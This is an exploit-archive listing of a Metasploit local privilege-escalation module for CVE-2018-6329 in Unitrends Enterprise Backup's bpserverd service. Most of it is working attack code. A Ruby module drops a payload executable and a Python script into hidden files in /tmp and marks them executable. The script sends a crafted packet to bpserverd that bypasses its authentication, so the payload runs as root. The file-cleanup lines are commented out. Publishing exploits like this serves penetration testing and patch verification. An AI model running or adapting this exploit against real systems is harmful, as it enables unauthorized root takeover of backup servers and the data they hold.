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Unitrends Enterprise Backup bpserverd Privilege Escalation

Unitrends Enterprise Backup bpserverd Privilege Escalation
Posted Nov 28, 2018
Authored by h00die, Benny Husted, Cale Smith, Jared Arave | Site metasploit.com

It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system. This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the localhost by dropping a python script on the local file system. Unitrends stopped bpserverd from listening remotely on version 10.

tags | exploit, remote, arbitrary, local, root, protocol, python
systems | linux
advisories | CVE-2018-6329
MD5 | 169be3643a7a30d9a8e1cb203cbc2994

Unitrends Enterprise Backup bpserverd Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info, {
'Name' => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
'Description' => %q{
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
has an issue in which its authentication can be bypassed. A remote attacker could use this
issue to execute arbitrary commands with root privilege on the target system.
This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
localhost by dropping a python script on the local file system. Unitrends stopped
bpserverd from listening remotely on version 10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Cale Smith', # @0xC413
'Benny Husted', # @BennyHusted
'Jared Arave', # @iotennui
'h00die' # msf adaptations
],
'DisclosureDate' => 'Mar 14 2018',
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'References' =>
[
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
['EDB', '44297'],
['CVE', '2018-6329']
],
'Targets' =>
[
[ 'UEB <= 10.0', { } ]
],
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultTarget' => 0
}
))
register_advanced_options([
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
])
end

def exploit

pl = generate_payload_exe
exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
print_status("Writing payload executable to '#{exe_path}'")

write_file(exe_path, pl)
#register_file_for_cleanup(exe_path)

pe_script = %Q{
import socket
import binascii
import struct
import time
import sys

RHOST = '127.0.0.1'
XINETDPORT = #{datastore['BPSERVERDPORT']}
cmd = "#{exe_path}"

def recv_timeout(the_socket,timeout=2):
the_socket.setblocking(0)
total_data=[];data='';begin=time.time()
while 1:
#if you got some data, then break after wait sec
if total_data and time.time()-begin>timeout:
break
#if you got no data at all, wait a little longer
elif time.time()-begin>timeout*2:
break
try:
data=the_socket.recv(8192)
if data:
total_data.append(data)
begin=time.time()
else:
time.sleep(0.1)
except:
pass
return ''.join(total_data)

print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))

try:
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((RHOST,XINETDPORT))
except:
print "[!] Failed to connect!"
exit()

data = s1.recv(4096)
bpd_port = int(data[-8:-3])

try:
pass
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((RHOST, bpd_port))
except:
print "[!] Failed to connect!"
s1.close()
exit()

print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

#https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
packet = '\\xa5\\x52\\x00\\x2d'
packet += '\\x00' * 3
packet += packet_len
packet += '\\x00' * 3
packet += '\\x01'
packet += '\\x00' * 3
packet += '\\x4c'
packet += '\\x00' * 3
packet += cmd_len
packet += cmd
packet += '\\x00' * 3

s1.send(packet)

data = recv_timeout(s2)

print data

s1.close()
}

pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
print_status("Writing privesc script to '#{pes_path}'")

write_file(pes_path, pe_script)
#register_file_for_cleanup(pes_path)

print_status("Fixing permissions")
cmd_exec("chmod +x #{exe_path} #{pes_path}")

vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
end

end

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